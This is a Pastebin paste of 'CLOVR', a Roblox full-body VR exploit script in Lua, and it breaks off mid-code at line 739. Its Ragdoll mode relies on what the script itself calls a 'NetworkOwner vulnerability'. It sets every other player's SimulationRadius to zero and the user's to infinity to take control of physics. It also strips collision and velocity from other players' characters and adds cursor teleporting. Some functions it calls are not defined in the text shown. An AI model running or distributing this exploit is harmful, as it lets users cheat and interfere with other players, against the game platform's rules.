Advertisement
TheInfamousUser

REEEEEE

Oct 9th, 2020
1,201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 38.03 KB | None | 0 0
  1. -- CLOVR - FE FULL-BODY VR SCRIPT
  2.  
  3. -- April 21st Update - TOOL HOLDING ADDED
  4.  
  5. -- | made by 0866 and Abacaxl
  6. -- | tysm unverified
  7. -- | Fixed By Gabriellogin#7714
  8.  
  9. --RagDollEnabled is set to true, DON'T set it to false or CLOVR won't work. Feel free to change the other settings though.
  10.  
  11. print("Hey Thanks for using my fixed version of clovr Gabriellogin#7714")
  12. --|| Settings:
  13. local StudsOffset = 0 -- Character height (negative if you're too high)
  14. local Smoothness = .5 -- Character interpolation (0.1 - 1 = smooth - rigid)
  15. local AnchorCharacter = true -- Prevent physics from causing inconsistencies
  16. local HideCharacter = false -- Hide character on a platform
  17. local NoCollision = true -- Disable player collision
  18. local ChatEnabled = true -- See chat on your left hand in-game
  19. local ChatLocalRange = 75 -- Local chat range
  20. local ViewportEnabled = true -- View nearby players in a frame
  21. local ViewportRange = 30 -- Maximum distance players are updated
  22. local RagdollEnabled = true -- Use your character instead of hats (NetworkOwner vulnerability)
  23. local RagdollHeadMovement = true -- Move your head separately from your body (+9 second wait)
  24. local AutoRun = false -- Run script on respawn
  25. local AutoRespawn = true -- Kill your real body when your virtual body dies
  26. local WearAllAccessories = true -- Use all leftover hats for the head
  27. local AccurateHandPosition = true -- Move your Roblox hands according to your real hands
  28. local AccessorySettings = {
  29. LeftArm = "";
  30. RightArm = "";
  31. LeftLeg = "";
  32. RightLeg = "";
  33. Torso = "";
  34. Head = true;
  35. BlockArms = true;
  36. BlockLegs = true;
  37. BlockTorso = true;
  38. LimbOffset = CFrame.Angles(math.rad(90), 0, 0);
  39. }
  40. local FootPlacementSettings = {
  41. RightOffset = Vector3.new(.5, 0, 0),
  42. LeftOffset = Vector3.new(-.5, 0, 0),
  43. }
  44. --|| Script:
  45. local Script = nil;
  46. Script = function()
  47. --[[
  48. Variables
  49. --]]
  50. local Players = game:GetService("Players")
  51. local Client = Players.LocalPlayer
  52. local Character = Client.Character or Client.CharacterAdded:Wait()
  53. local WeldBase = Character:WaitForChild("HumanoidRootPart")
  54. local ArmBase = Character:FindFirstChild("RightHand") or Character:FindFirstChild("Right Arm") or WeldBase
  55. local Backpack = Client:WaitForChild("Backpack")
  56. local Mouse = Client:GetMouse()
  57. local Camera = workspace.CurrentCamera
  58. local VRService = game:GetService("VRService")
  59. local VRReady = VRService.VREnabled
  60. local UserInputService = game:GetService("UserInputService")
  61. local RunService = game:GetService("RunService")
  62. local HttpService = game:GetService("HttpService")
  63. local StarterGui = game:GetService("StarterGui")
  64. local HeadAccessories = {};
  65. local UsedAccessories = {};
  66. local Pointer = false;
  67. local Point1 = false;
  68. local Point2 = false;
  69. local VirtualRig = game:GetObjects("rbxassetid://4468539481")[1]
  70. local VirtualBody = game:GetObjects("rbxassetid://4464983829")[1]
  71. local Anchor = Instance.new("Part")
  72. Anchor.Anchored = true
  73. Anchor.Transparency = 1
  74. Anchor.CanCollide = false
  75. Anchor.Parent = workspace
  76. if RagdollEnabled then
  77. print("RagdollEnabled")
  78. local NetworkAccess = coroutine.create(function()
  79. settings().Physics.AllowSleep = false
  80. while true do game:GetService("RunService").RenderStepped:Wait()
  81. for _,Players in next, game:GetService("Players"):GetChildren() do
  82. if Players ~= game:GetService("Players").LocalPlayer then
  83. Players.MaximumSimulationRadius = 0.1 Players.SimulationRadius = 0 end end
  84. game:GetService("Players").LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)
  85. game:GetService("Players").LocalPlayer.SimulationRadius = math.huge*math.huge end end)
  86. coroutine.resume(NetworkAccess)
  87. end
  88. --[[
  89. Character Protection
  90. --]]
  91. local CharacterCFrame = WeldBase.CFrame
  92. if not RagdollEnabled then
  93. Character.Humanoid.AnimationPlayed:Connect(function(Animation)
  94. Animation:Stop()
  95. end)
  96. for _, Track in next, Character.Humanoid:GetPlayingAnimationTracks() do
  97. Track:Stop()
  98. end
  99. if HideCharacter then
  100. local Platform = Instance.new("Part")
  101. Platform.Anchored = true
  102. Platform.Size = Vector3.new(100, 5, 100)
  103. Platform.CFrame = CFrame.new(0, 10000, 0)
  104. Platform.Transparency = 1
  105. Platform.Parent = workspace
  106. Character:MoveTo(Platform.Position + Vector3.new(0, 5, 0))
  107. wait(.5)
  108. end
  109. if AnchorCharacter then
  110. for _, Part in pairs(Character:GetChildren()) do
  111. if Part:IsA("BasePart") then
  112. Part.Anchored = true
  113. end
  114. end
  115. end
  116. end
  117. --[[
  118. Functions
  119. --]]
  120. function Tween(Object, Style, Direction, Time, Goal)
  121. local tweenInfo = TweenInfo.new(Time, Enum.EasingStyle[Style], Enum.EasingDirection[Direction])
  122. local tween = game:GetService("TweenService"):Create(Object, tweenInfo, Goal)
  123. tween.Completed:Connect(function()
  124. tween:Destroy()
  125. end)
  126. tween:Play()
  127. return tween
  128. end
  129. local function GetMotorForLimb(Limb)
  130. for _, Motor in next, Character:GetDescendants() do
  131. if Motor:IsA("Motor6D") and Motor.Part1 == Limb then
  132. return Motor
  133. end
  134. end
  135. end
  136. local function CreateAlignment(Limb, Part0)
  137. local Attachment0 = Instance.new("Attachment", Part0 or Anchor)
  138. local Attachment1 = Instance.new("Attachment", Limb)
  139. local Orientation = Instance.new("AlignOrientation")
  140. local Position = Instance.new("AlignPosition")
  141. Orientation.Attachment0 = Attachment1
  142. Orientation.Attachment1 = Attachment0
  143. Orientation.RigidityEnabled = false
  144. Orientation.MaxTorque = 20000
  145. Orientation.Responsiveness = 40
  146. Orientation.Parent = Character.HumanoidRootPart
  147. Position.Attachment0 = Attachment1
  148. Position.Attachment1 = Attachment0
  149. Position.RigidityEnabled = false
  150. Position.MaxForce = 40000
  151. Position.Responsiveness = 40
  152. Position.Parent = Character.HumanoidRootPart
  153. Limb.Massless = false
  154. local Motor = GetMotorForLimb(Limb)
  155. if Motor then
  156. Motor:Destroy()
  157. end
  158. return function(CF, Local)
  159. if Local then
  160. Attachment0.CFrame = CF
  161. else
  162. Attachment0.WorldCFrame = CF
  163. end
  164. end;
  165. end
  166. local function GetExtraTool()
  167. for _, Tool in next, Character:GetChildren() do
  168. if Tool:IsA("Tool") and not Tool.Name:match("LIMB_TOOL") then
  169. return Tool
  170. end
  171. end
  172. end
  173. local function GetGripForHandle(Handle)
  174. for _, Weld in next, Character:GetDescendants() do
  175. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then
  176. return Weld
  177. end
  178. end
  179. wait(.2)
  180. for _, Weld in next, Character:GetDescendants() do
  181. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then
  182. return Weld
  183. end
  184. end
  185. end
  186. local function CreateRightGrip(Handle)
  187. local RightGrip = Instance.new("Weld")
  188. RightGrip.Name = "RightGrip"
  189. RightGrip.Part1 = Handle
  190. RightGrip.Part0 = WeldBase
  191. RightGrip.Parent = WeldBase
  192. return RightGrip
  193. end
  194. local function CreateAccessory(Accessory, DeleteMeshes)
  195. if not Accessory then
  196. return
  197. end
  198. local HatAttachment = Accessory.Handle:FindFirstChildWhichIsA("Attachment")
  199. local HeadAttachment = VirtualRig:FindFirstChild(HatAttachment.Name, true)
  200. local BasePart = HeadAttachment.Parent
  201. local HatAtt = HatAttachment.CFrame
  202. local HeadAtt = HeadAttachment.CFrame
  203. if DeleteMeshes then
  204. if Accessory.Handle:FindFirstChild("Mesh") then
  205. Accessory.Handle.Mesh:Destroy()
  206. end
  207. end
  208. wait()
  209. local Handle = Accessory:WaitForChild("Handle")
  210. if Handle:FindFirstChildWhichIsA("Weld", true) then
  211. Handle:FindFirstChildWhichIsA("Weld", true):Destroy()
  212. Handle:BreakJoints()
  213. else
  214. Handle:BreakJoints()
  215. end
  216. Handle.Massless = true
  217. Handle.Transparency = 0.5
  218. UsedAccessories[Accessory] = true
  219. local RightGrip = CreateRightGrip(Handle)
  220. wait()
  221. for _, Object in pairs(Handle:GetDescendants()) do
  222. if not Object:IsA("BasePart") then
  223. pcall(function()
  224. Object.Transparency = 1
  225. end)
  226. pcall(function()
  227. Object.Enabled = false
  228. end)
  229. end
  230. end
  231. return Handle, RightGrip, HatAtt, HeadAtt, BasePart;
  232. end
  233. local function GetHeadAccessories()
  234. for _, Accessory in next, Character:GetChildren() do
  235. if Accessory:IsA("Accessory") and not UsedAccessories[Accessory] then
  236. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = CreateAccessory(Accessory)
  237. table.insert(HeadAccessories, {Handle, RightGrip, HatAtt, HeadAtt, BasePart})
  238. do
  239. Handle.Transparency = 1
  240. end
  241. if not WearAllAccessories then
  242. break
  243. end
  244. end
  245. end
  246. end
  247. --[[
  248. VR Replication Setup
  249. --]]
  250. if not RagdollEnabled then
  251. LeftHandle, LeftHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftArm), AccessorySettings.BlockArms)
  252. RightHandle, RightHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightArm), AccessorySettings.BlockArms)
  253. LeftHipHandle, LeftLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftLeg), AccessorySettings.BlockLegs)
  254. RightHipHandle, RightLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightLeg), AccessorySettings.BlockLegs)
  255. TorsoHandle, TorsoGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.Torso), AccessorySettings.BlockTorso)
  256. GetHeadAccessories()
  257. elseif RagdollEnabled then
  258. if RagdollHeadMovement then
  259. Permadeath()
  260. MoveHead = CreateAlignment(Character["Head"])
  261. end
  262. MoveRightArm = CreateAlignment(Character["Right Arm"])
  263. MoveLeftArm = CreateAlignment(Character["Left Arm"])
  264. MoveRightLeg = CreateAlignment(Character["Right Leg"])
  265. MoveLeftLeg = CreateAlignment(Character["Left Leg"])
  266. MoveTorso = CreateAlignment(Character["Torso"])
  267. MoveRoot = CreateAlignment(Character.HumanoidRootPart)
  268. if RagdollHeadMovement then
  269. for _, Accessory in next, Character:GetChildren() do
  270. if Accessory:IsA("Accessory") and Accessory:FindFirstChild("Handle") then
  271. local Attachment1 = Accessory.Handle:FindFirstChildWhichIsA("Attachment")
  272. local Attachment0 = Character:FindFirstChild(tostring(Attachment1), true)
  273. local Orientation = Instance.new("AlignOrientation")
  274. local Position = Instance.new("AlignPosition")
  275. print(Attachment1, Attachment0, Accessory)
  276. Orientation.Attachment0 = Attachment1
  277. Orientation.Attachment1 = Attachment0
  278. Orientation.RigidityEnabled = false
  279. Orientation.ReactionTorqueEnabled = true
  280. Orientation.MaxTorque = 20000
  281. Orientation.Responsiveness = 40
  282. Orientation.Parent = Character.Head
  283. Position.Attachment0 = Attachment1
  284. Position.Attachment1 = Attachment0
  285. Position.RigidityEnabled = false
  286. Position.ReactionForceEnabled = true
  287. Position.MaxForce = 40000
  288. Position.Responsiveness = 40
  289. Position.Parent = Character.Head
  290. end
  291. end
  292. end
  293. end
  294. --[[
  295. Movement
  296. --]]
  297. VirtualRig.Name = "VirtualRig"
  298. VirtualRig.RightFoot.BodyPosition.Position = CharacterCFrame.p
  299. VirtualRig.LeftFoot.BodyPosition.Position = CharacterCFrame.p
  300. VirtualRig.Parent = workspace
  301. VirtualRig:SetPrimaryPartCFrame(CharacterCFrame)
  302. VirtualRig.Humanoid.Health = 0
  303. VirtualRig:BreakJoints()
  304. --
  305. VirtualBody.Parent = workspace
  306. VirtualBody.Name = "VirtualBody"
  307. VirtualBody.Humanoid.WalkSpeed = 8
  308. VirtualBody.Humanoid.CameraOffset = Vector3.new(0, StudsOffset, 0)
  309. VirtualBody:SetPrimaryPartCFrame(CharacterCFrame)
  310. VirtualBody.Humanoid.Died:Connect(function()
  311. print("Virtual death")
  312. if AutoRespawn then
  313. Character:BreakJoints()
  314. if RagdollHeadMovement and RagdollEnabled then
  315. Network:Unclaim()
  316. Respawn()
  317. end
  318. end
  319. end)
  320. --
  321. Camera.CameraSubject = VirtualBody.Humanoid
  322. Character.Humanoid.WalkSpeed = 0
  323. Character.Humanoid.JumpPower = 1
  324. for _, Part in next, VirtualBody:GetChildren() do
  325. if Part:IsA("BasePart") then
  326. Part.Transparency = 1
  327. end
  328. end
  329. for _, Part in next, VirtualRig:GetChildren() do
  330. if Part:IsA("BasePart") then
  331. Part.Transparency = 1
  332. end
  333. end
  334. if not VRReady then
  335. VirtualRig.RightUpperArm.ShoulderConstraint.RigidityEnabled = true
  336. VirtualRig.LeftUpperArm.ShoulderConstraint.RigidityEnabled = true
  337. end
  338. local OnMoving = RunService.Stepped:Connect(function()
  339. local Direction = Character.Humanoid.MoveDirection
  340. local Start = VirtualBody.HumanoidRootPart.Position
  341. local Point = Start + Direction * 6
  342. VirtualBody.Humanoid:MoveTo(Point)
  343. end)
  344. Character.Humanoid.Jumping:Connect(function()
  345. VirtualBody.Humanoid.Jump = true
  346. end)
  347. UserInputService.JumpRequest:Connect(function()
  348. VirtualBody.Humanoid.Jump = true
  349. end)
  350. --[[
  351. VR Replication
  352. --]]
  353. if RagdollEnabled then
  354. for _, Part in pairs(Character:GetDescendants()) do
  355. if Part:IsA("BasePart") and Part.Name == "Handle" and Part.Parent:IsA("Accessory") then
  356. Part.LocalTransparencyModifier = 1
  357. elseif Part:IsA("BasePart") and Part.Transparency < 0.5 and Part.Name ~= "Head" then
  358. Part.LocalTransparencyModifier = 0.5
  359. elseif Part:IsA("BasePart") and Part.Name == "Head" then
  360. Part.LocalTransparencyModifier = 1
  361. end
  362. if not Part:IsA("BasePart") and not Part:IsA("AlignPosition") and not Part:IsA("AlignOrientation") then
  363. pcall(function()
  364. Part.Transparency = 1
  365. end)
  366. pcall(function()
  367. Part.Enabled = false
  368. end)
  369. end
  370. end
  371. end
  372. local FootUpdateDebounce = tick()
  373. local function FloorRay(Part, Distance)
  374. local Position = Part.CFrame.p
  375. local Target = Position - Vector3.new(0, Distance, 0)
  376. local Line = Ray.new(Position, (Target - Position).Unit * Distance)
  377. local FloorPart, FloorPosition, FloorNormal = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character})
  378. if FloorPart then
  379. return FloorPart, FloorPosition, FloorNormal, (FloorPosition - Position).Magnitude
  380. else
  381. return nil, Target, Vector3.new(), Distance
  382. end
  383. end
  384. local function Flatten(CF)
  385. local X,Y,Z = CF.X,CF.Y,CF.Z
  386. local LX,LZ = CF.lookVector.X,CF.lookVector.Z
  387. return CFrame.new(X,Y,Z) * CFrame.Angles(0,math.atan2(LX,LZ),0)
  388. end
  389. local FootTurn = 1
  390. local function FootReady(Foot, Target)
  391. local MaxDist
  392. if Character.Humanoid.MoveDirection.Magnitude > 0 then
  393. MaxDist = .5
  394. else
  395. MaxDist = 1
  396. end
  397. local PastThreshold = (Foot.Position - Target.Position).Magnitude > MaxDist
  398. local PastTick = tick() - FootUpdateDebounce >= 2
  399. if PastThreshold or PastTick then
  400. FootUpdateDebounce = tick()
  401. end
  402. return
  403. PastThreshold
  404. or
  405. PastTick
  406. end
  407. local function FootYield()
  408. local RightFooting = VirtualRig.RightFoot.BodyPosition
  409. local LeftFooting = VirtualRig.LeftFoot.BodyPosition
  410. local LowerTorso = VirtualRig.LowerTorso
  411. local Yield = tick()
  412. repeat
  413. RunService.Stepped:Wait()
  414. if
  415. (LowerTorso.Position - RightFooting.Position).Y > 4
  416. or
  417. (LowerTorso.Position - LeftFooting.Position).Y > 4
  418. or
  419. ((LowerTorso.Position - RightFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4
  420. or
  421. ((LowerTorso.Position - LeftFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4
  422. then
  423. break
  424. end
  425. until tick() - Yield >= .17
  426. end
  427. local function UpdateFooting()
  428. if not VirtualRig:FindFirstChild("LowerTorso") then
  429. wait()
  430. return
  431. end
  432. local Floor, FloorPosition, FloorNormal, Dist = FloorRay(VirtualRig.LowerTorso, 3)
  433. Dist = math.clamp(Dist, 0, 5)
  434. local FootTarget =
  435. VirtualRig.LowerTorso.CFrame *
  436. CFrame.new(FootPlacementSettings.RightOffset) -
  437. Vector3.new(0, Dist, 0) +
  438. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2
  439. if FootReady(VirtualRig.RightFoot, FootTarget) then
  440. VirtualRig.RightFoot.BodyPosition.Position = FootTarget.p
  441. VirtualRig.RightFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)
  442. end
  443. FootYield()
  444. local FootTarget =
  445. VirtualRig.LowerTorso.CFrame *
  446. CFrame.new(FootPlacementSettings.LeftOffset) -
  447. Vector3.new(0, Dist, 0) +
  448. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2
  449. if FootReady(VirtualRig.LeftFoot, FootTarget) then
  450. VirtualRig.LeftFoot.BodyPosition.Position = FootTarget.p
  451. VirtualRig.LeftFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)
  452. end
  453. end
  454. local function UpdateTorsoPosition()
  455. if not RagdollEnabled then
  456. if TorsoHandle then
  457. local Positioning = VirtualRig.UpperTorso.CFrame
  458. if not TorsoGrip or not TorsoGrip.Parent then
  459. TorsoGrip = CreateRightGrip(TorsoHandle)
  460. end
  461. local Parent = TorsoGrip.Parent
  462. TorsoGrip.C1 = CFrame.new()
  463. TorsoGrip.C0 = TorsoGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * CFrame.new(0, -0.25, 0) * AccessorySettings.LimbOffset), Smoothness)
  464. TorsoGrip.Parent = nil
  465. TorsoGrip.Parent = Parent
  466. end
  467. else
  468. local Positioning = VirtualRig.UpperTorso.CFrame
  469. MoveTorso(Positioning * CFrame.new(0, -0.25, 0))
  470. MoveRoot(Positioning * CFrame.new(0, -0.25, 0))
  471. end
  472. end
  473. local function UpdateLegPosition()
  474. if not RagdollEnabled then
  475. if RightHipHandle then
  476. local Positioning =
  477. VirtualRig.RightLowerLeg.CFrame
  478. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)
  479. + Vector3.new(0, 0.5, 0)
  480. if not RightHipHandle or not RightHipHandle.Parent then
  481. RightLegGrip = CreateRightGrip(RightHipHandle)
  482. end
  483. local Parent = RightLegGrip.Parent
  484. RightLegGrip.C1 = CFrame.new()
  485. RightLegGrip.C0 = RightLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)
  486. RightLegGrip.Parent = nil
  487. RightLegGrip.Parent = Parent
  488. end
  489. if LeftHipHandle then
  490. local Positioning =
  491. VirtualRig.LeftLowerLeg.CFrame
  492. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)
  493. + Vector3.new(0, 0.5, 0)
  494. if not LeftLegGrip or not LeftLegGrip.Parent then
  495. LeftLegGrip = CreateRightGrip(LeftHipHandle)
  496. end
  497. local Parent = LeftLegGrip.Parent
  498. LeftLegGrip.C1 = CFrame.new()
  499. LeftLegGrip.C0 = LeftLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)
  500. LeftLegGrip.Parent = nil
  501. LeftLegGrip.Parent = Parent
  502. end
  503. else
  504. do
  505. local Positioning =
  506. VirtualRig.RightLowerLeg.CFrame
  507. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)
  508. * CFrame.Angles(0, math.rad(180), 0)
  509. + Vector3.new(0, 0.5, 0)
  510. MoveRightLeg(Positioning)
  511. end
  512. do
  513. local Positioning =
  514. VirtualRig.LeftLowerLeg.CFrame
  515. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)
  516. * CFrame.Angles(0, math.rad(180), 0)
  517. + Vector3.new(0, 0.5, 0)
  518. MoveLeftLeg(Positioning)
  519. end
  520. end
  521. end
  522. warn("VRReady is", VRReady)
  523. local function OnUserCFrameChanged(UserCFrame, Positioning, IgnoreTorso)
  524. local Positioning = Camera.CFrame * Positioning
  525. if not IgnoreTorso then
  526. UpdateTorsoPosition()
  527. UpdateLegPosition()
  528. end
  529. if not RagdollEnabled then
  530. if UserCFrame == Enum.UserCFrame.Head and AccessorySettings.Head then
  531. for _, Table in next, HeadAccessories do
  532. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = unpack(Table)
  533. local LocalPositioning = Positioning
  534. if not RightGrip or not RightGrip.Parent then
  535. RightGrip = CreateRightGrip(Handle)
  536. Table[2] = RightGrip
  537. end
  538. local Parent = RightGrip.Parent
  539. if BasePart then
  540. LocalPositioning = BasePart.CFrame * HeadAtt
  541. end
  542. RightGrip.C1 = HatAtt
  543. RightGrip.C0 = RightGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(LocalPositioning), Smoothness)
  544. RightGrip.Parent = nil
  545. RightGrip.Parent = Parent
  546. end
  547. elseif RightHandle and UserCFrame == Enum.UserCFrame.RightHand and AccessorySettings.RightArm then
  548. local HandPosition = Positioning
  549. local LocalPositioning = Positioning
  550. if not RightHandGrip or not RightHandGrip.Parent then
  551. RightHandGrip = CreateRightGrip(RightHandle)
  552. end
  553. if AccurateHandPosition then
  554. HandPosition = HandPosition * CFrame.new(0, 0, 1)
  555. end
  556. if not VRReady then
  557. local HeadRotation = Camera.CFrame - Camera.CFrame.p
  558. HandPosition = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset
  559. --LocalPositioning = (HeadRotation + (HandPosition * CFrame.new(0, 0, 1)).p) * CFrame.Angles(math.rad(-45), 0, 0)
  560. LocalPositioning = HandPosition * CFrame.new(0, 0, 1) * CFrame.Angles(math.rad(-180), 0, 0)
  561. if Point2 then
  562. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  563. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  564. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  565. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  566. end
  567. elseif AccurateHandPosition then
  568. LocalPositioning = HandPosition
  569. end
  570. local Parent = RightHandGrip.Parent
  571. RightHandGrip.C1 = CFrame.new()
  572. RightHandGrip.C0 = RightHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)
  573. RightHandGrip.Parent = nil
  574. RightHandGrip.Parent = Parent
  575. --
  576. local EquippedTool = GetExtraTool()
  577. if EquippedTool and EquippedTool:FindFirstChild("Handle") then
  578. local EquippedGrip = GetGripForHandle(EquippedTool.Handle)
  579. local Parent = EquippedGrip.Parent
  580. local ArmBaseCFrame = ArmBase.CFrame
  581. if ArmBase.Name == "Right Arm" then
  582. ArmBaseCFrame = ArmBaseCFrame
  583. end
  584. EquippedGrip.C1 = EquippedTool.Grip
  585. EquippedGrip.C0 = EquippedGrip.C0:Lerp(ArmBaseCFrame:ToObjectSpace(LocalPositioning), Smoothness)
  586. EquippedGrip.Parent = nil
  587. EquippedGrip.Parent = Parent
  588. end
  589. elseif LeftHandle and UserCFrame == Enum.UserCFrame.LeftHand and AccessorySettings.LeftArm then
  590. local HandPosition = Positioning
  591. if not LeftHandGrip or not LeftHandGrip.Parent then
  592. LeftHandGrip = CreateRightGrip(LeftHandle)
  593. end
  594. if AccurateHandPosition then
  595. HandPosition = HandPosition * CFrame.new(0, 0, 1)
  596. end
  597. if not VRReady then
  598. HandPosition = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset
  599. --warn("Setting HandPosition to hands")
  600. if Point1 then
  601. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  602. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  603. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  604. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  605. end
  606. end
  607. local Parent = LeftHandGrip.Parent
  608. LeftHandGrip.C1 = CFrame.new()
  609. LeftHandGrip.C0 = LeftHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)
  610. LeftHandGrip.Parent = nil
  611. LeftHandGrip.Parent = Parent
  612. end
  613. end
  614. if RagdollEnabled then
  615. if UserCFrame == Enum.UserCFrame.Head and RagdollHeadMovement then
  616. MoveHead(Positioning)
  617. elseif UserCFrame == Enum.UserCFrame.RightHand then
  618. local Positioning = Positioning
  619. if not VRReady then
  620. Positioning = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5)
  621. elseif AccurateHandPosition then
  622. Positioning = Positioning * CFrame.new(0, 0, 1)
  623. end
  624. if VRReady then
  625. Positioning = Positioning * AccessorySettings.LimbOffset
  626. end
  627. MoveRightArm(Positioning)
  628. if Point2 then
  629. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  630. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  631. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  632. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  633. end
  634. elseif UserCFrame == Enum.UserCFrame.LeftHand then
  635. local Positioning = Positioning
  636. if not VRReady then
  637. Positioning = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5)
  638. elseif AccurateHandPosition then
  639. Positioning = Positioning * CFrame.new(0, 0, 1)
  640. end
  641. if VRReady then
  642. Positioning = Positioning * AccessorySettings.LimbOffset
  643. end
  644. MoveLeftArm(Positioning)
  645. if Point1 then
  646. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  647. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  648. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  649. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  650. end
  651. end
  652. end
  653. if UserCFrame == Enum.UserCFrame.Head then
  654. VirtualRig.Head.CFrame = Positioning
  655. elseif UserCFrame == Enum.UserCFrame.RightHand and VRReady then
  656. VirtualRig.RightHand.CFrame = Positioning
  657. elseif UserCFrame == Enum.UserCFrame.LeftHand and VRReady then
  658. VirtualRig.LeftHand.CFrame = Positioning
  659. end
  660. if not VRReady and VirtualRig.LeftHand.Anchored then
  661. VirtualRig.RightHand.Anchored = false
  662. VirtualRig.LeftHand.Anchored = false
  663. elseif VRReady and not VirtualRig.LeftHand.Anchored then
  664. VirtualRig.RightHand.Anchored = true
  665. VirtualRig.LeftHand.Anchored = true
  666. end
  667. end
  668. local CFrameChanged = VRService.UserCFrameChanged:Connect(OnUserCFrameChanged)
  669. local OnStepped = RunService.Stepped:Connect(function()
  670. for _, Part in pairs(VirtualRig:GetChildren()) do
  671. if Part:IsA("BasePart") then
  672. Part.CanCollide = false
  673. end
  674. end
  675. if RagdollEnabled then
  676. for _, Part in pairs(Character:GetChildren()) do
  677. if Part:IsA("BasePart") then
  678. Part.CanCollide = false
  679. end
  680. end
  681. end
  682. if NoCollision then
  683. for _, Player in pairs(Players:GetPlayers()) do
  684. if Player ~= Client and Player.Character then
  685. local Descendants = Player.Character:GetDescendants()
  686. for i = 1, #Descendants do
  687. local Part = Descendants[i]
  688. if Part:IsA("BasePart") then
  689. Part.CanCollide = false
  690. Part.Velocity = Vector3.new()
  691. Part.RotVelocity = Vector3.new()
  692. end
  693. end
  694. end
  695. end
  696. end
  697. end)
  698. local OnRenderStepped = RunService.Stepped:Connect(function()
  699. Camera.CameraSubject = VirtualBody.Humanoid
  700. if RagdollEnabled then
  701. Character.HumanoidRootPart.CFrame = VirtualRig.UpperTorso.CFrame
  702. Character.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0)
  703. end
  704. if not VRReady then
  705. OnUserCFrameChanged(Enum.UserCFrame.Head, CFrame.new(0, 0, 0))
  706. OnUserCFrameChanged(Enum.UserCFrame.RightHand, CFrame.new(0, 0, 0), true)
  707. OnUserCFrameChanged(Enum.UserCFrame.LeftHand, CFrame.new(0, 0, 0), true)
  708. end
  709. end)
  710. spawn(function()
  711. while Character and Character.Parent do
  712. FootYield()
  713. UpdateFooting()
  714. end
  715. end)
  716. --[[
  717. Non-VR Support + VR Mechanics
  718. --]]
  719. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)
  720. if not Processed then
  721. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then
  722. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {
  723. CameraOffset = Vector3.new(0, StudsOffset - 1.5, 0)
  724. })
  725. end
  726. if Input.KeyCode == Enum.KeyCode.X then
  727. if RagdollEnabled and RagdollHeadMovement then
  728. Network:Unclaim()
  729. Respawn()
  730. end
  731. end
  732. if Input.KeyCode == Enum.KeyCode.C then
  733. VirtualBody:MoveTo(Mouse.Hit.p)
  734. VirtualRig:MoveTo(Mouse.Hit.p)
  735. end
  736. end
  737. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then
  738. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {
  739. WalkSpeed = 16
